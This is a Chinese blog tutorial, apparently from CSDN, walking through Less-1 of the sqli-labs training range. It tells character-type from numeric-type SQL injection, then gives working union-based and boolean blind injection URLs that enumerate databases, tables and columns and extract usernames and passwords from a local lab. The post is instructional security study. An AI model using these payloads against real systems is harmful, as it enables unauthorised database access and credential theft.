SQL注入（sqli-labs靶场less-1演示）

最新推荐文章于 2024-05-26 21:07:50 发布
最新推荐文章于 2024-05-26 21:07:50 发布
阅读量300 收藏
点赞数
分类专栏： 渗透测试学习 文章标签： sql 数据库 mysql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_57448301/article/details/130300628
版权

SQLi-LABS Page-1(Basic Challenges)

文章目录


输入?id=1,可以执行
image.png

在后面加一个单引号 ’ ，出现错误，应为 本来的是 ‘1’，变成了’1’'，后面两个单引号闭合，所以报错。
image.png

理解：?id=1 and 1=2
image.png
可以发现回显为正确，所以可以发现是字符型注入

判断字符型注入还是数字型注入

  1. 若在GET请求中?id=1 and 1=1和?id=1 and 1=2都没有报错，则是字符型注入。
  2. 若在GET请求中?id=1 and 1=1没有报错，但是?id=1 and 1=2有异常或没回显，则是数字型注入。

证明：
1.
若注入?id=1 and 1=2，数据库中的查询语句为：
select * from user where id=‘1 and 1=2’;
因为id为int类型，所以传入的 ‘1 and 1=2’ 会强制转换成 ‘1’ ，=>最终数据库中的查询语句为:
select * from user where id=‘1’;
所以sql语句不会报错，所以是字符型注入。

强制转换:

若是数字型注入，则注入 ?id=1 and 1=2 是的sql语句是：
select * from user where id=1 and 1=2
因为 select * from users where id=1 是正确的语句 ，and 后面的 1=2 是错误的语句，所以select * from users where id=1 and 1=2 会有异常或着网页没有回显

字符型注入构造参数传递:
1 and 1=1
SQL语句： select name from users where id=‘1 and 1=1’
image.png

1’ and ‘1’='1
SQL语句： select name from users where id=‘1’ and ‘1’=‘1’
image.png

1’ and 1=1 # (#号编码为%23) 或者–+
SQL语句： select name from users where id=‘1’ and 1=1 #’
image.png

1’ and 1=2 # (%23)
SQL语句： select name from users where id=‘1’ and 1=2 #’
image.png

LESS-1

get显错注入

爆数据库:
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata–+
此时的sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema_name),3 from information_schema.schemata–+ LIMIT 0,1
image.png

爆security数据库的数据表
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27security%27–+
此时的sql 语句SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n
ame),3 from information_schema.tables where table_schema=’security’–+ LIMIT 0,1
image.png

爆users 表的列
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27users%27–+
此时的sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’–+ LIMIT 0,1
image.png

爆数据
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20users%20where%20id=4–+
此时的sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,username,password from users where id=4 --+ LIMIT 0,1
image.png

get盲注

前置sql基础
length('name')：函数返回字符串的长度
substr('name',1,1)：函数截取字符串
ascii('a')：函数返回字符的ascii码
left('name'，2)：函数返回name的左边二个字符
right('name'，2)：函数返回name的右边二个字符
原理
在页面中，如果正确执行了SQL语句，则返回一种页面，如果SQL语句执行错误，则执行另一种页面。基于两种页面显示内容的不同，来判断SQL语句执行正确与否，从而达到获取数据的目的
步骤

  1. 获取当前数据库长度
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and length(database())=8 --+
    然后用burp对8进行爆破
    image.png

  2. 获取当前数据库名
    用burp对1,115进行爆破
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and ascii(substr(database(),1,1))=115 --+
    image.png

  3. 获取当前数据库表总数
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
    image.png

  4. 获取数据库表的长度
    burp对0,6进行爆破
    第一个表长度
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6–+

第二个表长度
http://192.168.220.130/sqlilabs/Less-1/?id=1’ and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8–+
image.png

  1. 获取数据库表名
    第一个表名：emalis
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))=101 --+
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1))=109 --+

    第二个表名：referers
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema = database() limit 1,1),1,1))=109 --+
    image.png
    得到所有表名：emails，referers，uagents，users

  2. 获取数据库表的字段总数
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and (select count(column_name) from information_schema.columns where table_name=‘emails’ and table_schema=database())=2 --+
    image.png

http://192.168.220.130/sqlilabs/Less-1/?id=1’ and (select count(column_name) from information_schema.columns where table_name=‘users’ and table_schema=database())=3 --+
image.png

  1. 获取数据库表字段长度

http://192.168.220.130/sqlilabs/Less-1/?id=1’ and (select length(column_name) from information_schema.columns where table_name=‘emails’ and table_schema=database() limit 0,1)=2 --+

  1. 获取数据库表字段名
    1’ and substr((select column_name from information_schema.columns where
    table_name=‘emails’ and table_schema=database() limit 0,1),1,1)=101 --+

image.png
确定字段名为 ie

  1. 获取数据库表的字段内容
    http://192.168.220.130/sqlilabs/Less-1/?id=1’ and ascii(substr((select concat(id,email_id) from emails limit 0,1),1,1))=49 --+
    image.png
    对照asc码表字段内容为12345678

burpsuite 出现的bug:
点击爆破，出现Incalid number settings，是因为burp出现了bug
解决方法：点击下面的hex,再点击decimal
image.png

报错注入步骤

image.png

joker_fan`
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
网络安全之sql注入-less1
koala_king的博客
08-17 1365
less-1 是字符注入，union注入的步骤一般有以下几步： 1、判断注入点 2、判断是整型还是字符型 3、判断查询列数 4、判断显示位 5、获取敏感信息 1、判断注入点 我们再Less1中看到，id将作为参数来使用，因此我们输入： http://localhost/Less-1/?id=1 这是看到访问了第一个用户的用户名和密码： 此时加入单引号进行尝试,这里是在id后面加了一个单引号，这里发现了语句的错误。 You have an error in your SQL syntax; check t
SQL注入原理及其简单演示
weixin_64066158的博客
04-24 6621
一 . SQL注入： SQL injection：通过把SQL命令插入到web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器恶意执行的SQL命令。具体来说就是利用现有的程序将Sql命令注入到后台数据库引擎并且执行，它可以通过web表单中输入（恶意）的SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照 设计者意图去执行SQL语句。 SQL注入原理： 攻击者通过web 应用程序利用SQL语句或字符串将非法的数据插入到服务端数据库中，获取数据库的用户管理权限，然后将数据库管理用户权限提.
Sqli-labs环境搭建教程（sql注入）
Victor1889的博客
01-06 9288
Sqli-labs环境搭建教程（sql注入）
sql-labs靶场环境搭建（手把手保姆级教学）
焦虑的焦虑
05-26 2154
sql-labs靶场搭建（保姆级手把手教学）你来你也行噢！
SQL注入闯关第一关-Less1
qq_54037445的博客
10-06 1889
SQL注入闯关
SQL注入详解
热门推荐
行者AI
09-16 1万+
现在大多数系统都使用B/S架构，出于安全考虑需要过滤从页面传递过来的字符。通常，用户可以通过以下接口调用数据库的内容：URL地址栏、登陆界面、留言板、搜索框等。这往往会出现安全隐患，为了更好的保护数据泄露或服务器安全，为了方便的安全测试，便编写此文。 1. SQL注入简介 SQL注入就是指Web应用程序对用户输入数据的合理性没有进行判断，前端传入后端的参数是攻击者可控制的，并且根据参数带入数据库查询，攻击者可以通过构造不同的SQL语句来对数据库进行任意查询。下面以PHP语句为例作为展示： query="SE
sqli-labs-master靶场安装下载
04-01
安装phpstudy、sqli-labs 适合人群：小白 安装sqli-labs报错如何解决
phpstudy+靶场sqli-labs-master下载
11-08
【标题】"phpstudy+靶场sqli-labs-master下载" 涉及的主要知识点是PHPStudy集成环境和SQL注入漏洞靶场Sqli-Labs。这两个工具是学习和测试Web安全，尤其是SQL注入攻击与防御的重要资源。 PHPStudy是一款集成的PHP...
sqli-labs靶场练习笔记
11-09
sqli-labs靶场练习笔记，里面有2关 3关 4关 5关 4关 7关 8关 9关 11关 12关 13关 14关 15关 16关 17关 18关 19关 20关 21关 22关 23关 24关 的练习内容，可以供给初学sql注入的学者参考
PHP、Apache环境中部署sqli-labs（SQL注入靶场）
01-08
PHP、Apache 环境中部署 sqli-labs（SQL 注入靶场） 知识点 1: sqli-labs 介绍 sqli-labs 是一款开源的练习 SQL 注入的靶场工具，用 PHP 代码编写而成。它需要 PHP 和 Apache 环境运行。sqli-labs 提供了一个实践 ...
sqli-labs靶场
最新发布
05-30
"sqli-labs靶场"是一个专门用于学习和测试SQL注入技术的平台，它提供了多种不同类型的SQL注入场景，帮助安全研究人员和开发人员了解并防御这种攻击。 在sqli-labs靶场中，用户可以实践各种SQL注入技巧，如错误注入...
SQL注入漏洞演示源代码-曾是土木人
11-01
SQL注入漏洞演示源代码 更多免费资源请查看：http://download.csdn.net/user/php_fly
SQL注入漏洞演示源代码
06-14
SQL注入漏洞演示源代码 更多免费资源请查看：http://download.csdn.net/user/php_fly
sql-injection-demo:这是使用Java EE和Oracle数据库进行SQL注入的演示
05-04
sql-injection-demo 这是一个使用Java EE和Oracle数据库进行SQL注入的演示。 如果要重新创建数据库，则/database/emp.csv中有数据
Sql注入-Less-1
dahege666的博客
04-02 407
一、环境搭建 apache+mysql+php Tomcat+mysql+java（部分关卡需要） 如果可以的话，推荐在 windows 和 linux 下分别安装： Windows 下可以用 wamp、phpstudy、apmserv 等直接安装，linux 下可在网上搜索教程进行 安装。我 的测 试 环 境 是 windows 下 用 phpstudy 直 接 搭 建 的. sqli-l...
SQL注入——Less-1-5（学习笔记）
xdjxi的博客
02-25 2240
第一关 1.经过语句and 1=2测试 ，页面回显正常，所以该地方不是数值查询 2.接着尝试在id后面加上'，发现页面回显不正常，表示可能存在SQL字符注入 3.输入--+将sql后面的语句注视掉后，发现页面回显正常，则证明这个地方是单引号字符型注入 4.接着使用order by 语句判断，该表中一共有几列数据 order by 3页面回显正常，order by 4页面回显不正常，说明此表一个有3列。5.将id=1改为一个数据库不存在的id值，如861，使用union select 1...
使用Sqli-Labs学习SQL注入
anma5413的博客
02-15 163
SQL注入持续学习中： 1.SQL是什么？ a>.SQL是指一种结构化查询语言 b>.SQL可以帮助我们管理和访问数据库，常见的数据有Mysql、Oracle、Mmsql等。 2.SQL注入的原理 是将SQL代码插入或添加到用户输入的参数中，后台的SQL服务器将输入的参数加以分析并执行。 这也是SQL注入的主要攻击方式。 3.本次实验环境： PHP+Apace...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

joker_fan`

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值